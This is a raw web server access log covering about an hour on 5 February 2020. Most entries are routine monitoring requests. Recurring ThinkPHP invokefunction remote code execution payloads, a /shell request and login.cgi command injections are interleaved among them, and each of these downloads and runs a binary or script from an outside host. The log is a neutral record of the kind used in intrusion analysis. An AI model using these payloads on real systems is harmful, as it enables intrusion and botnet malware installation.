118.31.174.70 - - [05/Feb/2020:22:12:33 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [05/Feb/2020:22:12:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:22:13:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
202.40.191.115 - - [05/Feb/2020:22:14:24 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.115 - - [05/Feb/2020:22:14:25 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.115 - - [05/Feb/2020:22:14:25 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.115 - - [05/Feb/2020:22:14:25 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.115 - - [05/Feb/2020:22:14:26 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.115 - - [05/Feb/2020:22:14:26 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.115 - - [05/Feb/2020:22:14:27 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.115 - - [05/Feb/2020:22:14:27 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.115 - - [05/Feb/2020:22:14:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [05/Feb/2020:22:14:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.250.32 - - [05/Feb/2020:22:15:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
92.254.236.33 - - [05/Feb/2020:22:15:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.130.254 - - [05/Feb/2020:22:15:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:22:15:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:22:16:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:22:17:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.4.172 - - [05/Feb/2020:22:18:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.71.205.244 - - [05/Feb/2020:22:18:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:22:18:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:22:19:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:22:20:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.73.115 - - [05/Feb/2020:22:21:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:22:21:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:22:22:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:22:23:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:22:24:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:22:25:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.200.217.178 - - [05/Feb/2020:22:26:44 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [05/Feb/2020:22:26:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.155.203.57 - - [05/Feb/2020:22:27:25 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [05/Feb/2020:22:27:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
149.129.225.8 - - [05/Feb/2020:22:28:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:22:28:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.79.194 - - [05/Feb/2020:22:29:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:22:29:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:22:30:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.234.236.225 - - [05/Feb/2020:22:31:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:22:31:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:22:32:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:22:33:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:22:34:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.130.111 - - [05/Feb/2020:22:34:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:22:35:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:22:36:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.71.81 - - [05/Feb/2020:22:37:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
167.249.227.155 - - [05/Feb/2020:22:37:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:22:37:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:22:38:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.89.219.60 - - [05/Feb/2020:22:39:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
196.52.43.61 - - [05/Feb/2020:22:39:23 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3602.2 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:22:39:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.115.231.220 - - [05/Feb/2020:22:39:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.69.191.35 - - [05/Feb/2020:22:40:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:22:40:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
196.52.43.129 - - [05/Feb/2020:22:40:53 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3602.2 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:22:41:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.161.99.72 - - [05/Feb/2020:22:42:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [05/Feb/2020:22:42:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [05/Feb/2020:22:42:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [05/Feb/2020:22:42:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.161.99.72 - - [05/Feb/2020:22:42:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [05/Feb/2020:22:43:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.80.56.33 - - [05/Feb/2020:22:43:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:22:43:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
77.247.110.15 - - [05/Feb/2020:22:44:26 +0100] "\x16\x03\x01\x018\x01" 501 321 "-" "-"
212.91.246.72 - - [05/Feb/2020:22:44:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
77.247.110.15 - - [05/Feb/2020:22:45:00 +0100] "\x16\x03\x01\x018\x01" 501 321 "-" "-"
77.247.110.15 - - [05/Feb/2020:22:45:05 +0100] "\x16\x03\x01\x018\x01" 501 321 "-" "-"
77.247.110.15 - - [05/Feb/2020:22:45:07 +0100] "\x16\x03\x01\x018\x01" 501 321 "-" "-"
77.247.110.15 - - [05/Feb/2020:22:45:08 +0100] "\x16\x03\x01\x018\x01" 501 321 "-" "-"
47.91.45.6 - - [05/Feb/2020:22:45:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:22:45:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.5.87.77 - - [05/Feb/2020:22:45:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
77.247.110.15 - - [05/Feb/2020:22:46:24 +0100] "\x16\x03\x01\x018\x01" 501 321 "-" "-"
77.247.110.15 - - [05/Feb/2020:22:46:43 +0100] "\x16\x03\x01\x018\x01" 501 321 "-" "-"
212.91.246.72 - - [05/Feb/2020:22:46:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
77.247.110.15 - - [05/Feb/2020:22:47:21 +0100] "\x16\x03\x01\x018\x01" 501 321 "-" "-"
77.247.110.15 - - [05/Feb/2020:22:47:37 +0100] "\x16\x03\x01\x018\x01" 501 321 "-" "-"
212.91.246.72 - - [05/Feb/2020:22:47:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
77.247.110.15 - - [05/Feb/2020:22:48:03 +0100] "\x16\x03\x01\x018\x01" 501 321 "-" "-"
212.91.246.72 - - [05/Feb/2020:22:48:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:22:49:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:22:50:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.20.68 - - [05/Feb/2020:22:51:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:22:51:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.138.201.81 - - [05/Feb/2020:22:52:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
117.20.29.126 - - [05/Feb/2020:22:52:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:22:52:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.239.235.28 - - [05/Feb/2020:22:53:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:22:53:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:22:54:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:22:55:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:22:56:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.114.56.57 - - [05/Feb/2020:22:57:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:22:57:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.210.146 - - [05/Feb/2020:22:58:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:22:58:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
172.105.11.111 - - [05/Feb/2020:22:58:53 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [05/Feb/2020:22:59:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:23:00:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:23:01:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:23:02:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.51.28.234 - - [05/Feb/2020:23:02:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:23:03:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:23:04:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:23:05:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:23:06:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.56.33 - - [05/Feb/2020:23:07:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:23:07:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:23:08:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.106.171.78 - - [05/Feb/2020:23:09:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:23:09:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:23:10:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:23:11:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.173.87.97 - - [05/Feb/2020:23:12:45 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [05/Feb/2020:23:12:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:23:13:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:23:14:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.69.142.202 - - [05/Feb/2020:23:15:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:23:15:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.97.75.97 - - [05/Feb/2020:23:16:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:23:16:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:23:17:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.114.24.175 - - [05/Feb/2020:23:17:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
59.153.19.170 - - [05/Feb/2020:23:18:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:23:18:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
200.81.191.26 - - [05/Feb/2020:23:18:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
172.105.11.111 - - [05/Feb/2020:23:19:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "\"Mozilla/5.0"
212.91.246.72 - - [05/Feb/2020:23:19:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.24.22.64 - - [05/Feb/2020:23:20:27 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
